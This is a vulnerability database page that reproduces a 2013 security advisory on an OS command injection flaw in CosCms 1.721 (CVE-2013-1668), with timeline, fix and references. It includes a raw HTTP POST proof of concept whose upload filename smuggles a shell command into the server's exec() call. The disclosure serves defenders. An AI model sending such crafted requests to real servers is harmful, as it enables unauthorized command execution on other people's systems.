Lucene search
K

CosCms 1.721 Command Injection

🗓️ 07 Mar 2013 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

CosCms 1.721 Command Injection CVE-2013-1668 discovered by HT

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CosCms 1.721 - OS Command Injection Vulnerability
7 Mar 201300:00
zdt
ATTACKERKB
CVE-2013-1668
23 May 201400:00
attackerkb
CVE
CVE-2013-1668
23 May 201414:00
cve
Cvelist
CVE-2013-1668
23 May 201414:00
cvelist
Exploit DB
CosCMS 1.721 - OS Command Injection
7 Mar 201300:00
exploitdb
exploitpack
CosCMS 1.721 - OS Command Injection
7 Mar 201300:00
exploitpack
htbridge
OS Command Injection in CosCms
13 Feb 201300:00
htbridge
NVD
CVE-2013-1668
23 May 201414:55
nvd
Prion
Design/Logic Flaw
23 May 201414:55
prion
securityvulns
OS Command Injection in CosCms
11 Mar 201300:00
securityvulns
Rows per page
`Advisory ID: HTB23145  
Product: CosCms  
Vendor: http://www.coscms.org  
Vulnerable Version(s): 1.721 and probably prior  
Tested Version: 1.721  
Vendor Notification: February 13, 2013   
Vendor Patch: February 13, 2013   
Public Disclosure: March 6, 2013   
Vulnerability Type: OS Command Injection [CWE-78]  
CVE Reference: CVE-2013-1668  
Risk Level: High   
CVSSv2 Base Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)  
Solution Status: Fixed by Vendor  
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )   
  
-----------------------------------------------------------------------------------------------  
  
Advisory Details:  
  
High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary OS commands on web server where the vulnerable application is hosted.  
  
  
1) OS Command Injection in CosCms: CVE-2013-1668  
  
Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges of the web server.  
  
The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP requests, e.g. telnet:  
  
  
  
POST /gallery/upload/index HTTP/1.1  
Content-Type: multipart/form-data; boundary=---------------------------21456260222104  
Content-Length: 970  
  
-----------------------------21456260222104  
Content-Disposition: form-data; name="title"  
  
1  
-----------------------------21456260222104  
Content-Disposition: form-data; name="image_add"  
  
1  
-----------------------------21456260222104  
Content-Disposition: form-data; name="description"  
  
1  
-----------------------------21456260222104  
Content-Disposition: form-data; name="tags"  
  
  
-----------------------------21456260222104  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
100000000  
-----------------------------21456260222104  
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"  
  
511ad0922b50f  
-----------------------------21456260222104  
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"  
Content-Type: application/octet-stream  
  
1  
  
-----------------------------21456260222104  
Content-Disposition: form-data; name="submit"  
  
Update  
-----------------------------21456260222104--   
  
  
  
Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. User registration is disabled by default.  
  
  
-----------------------------------------------------------------------------------------------  
  
Solution:  
  
Upgrade to CosCms 1.822  
  
More Information:  
http://www.coscms.org/blog/view/4/Version-1.822  
https://github.com/diversen/gallery/blob/master/upload/index.php  
https://github.com/diversen/gallery/commit/7d58f870e8edc6597485dd1b80ea9fb78580190c  
  
-----------------------------------------------------------------------------------------------  
  
References:  
  
[1] High-Tech Bridge Advisory HTB23145 - https://www.htbridge.com/advisory/HTB23145 - OS Command Injection in CosCms.  
[2] CosCms - http://www.coscms.org/ - CosCMS is a simple framework for building web application. It is intended for users, who wants some common modules, and a platform with a small code base which is easy to extend.  
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.  
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.   
  
-----------------------------------------------------------------------------------------------  
  
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Mar 2013 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.09112
44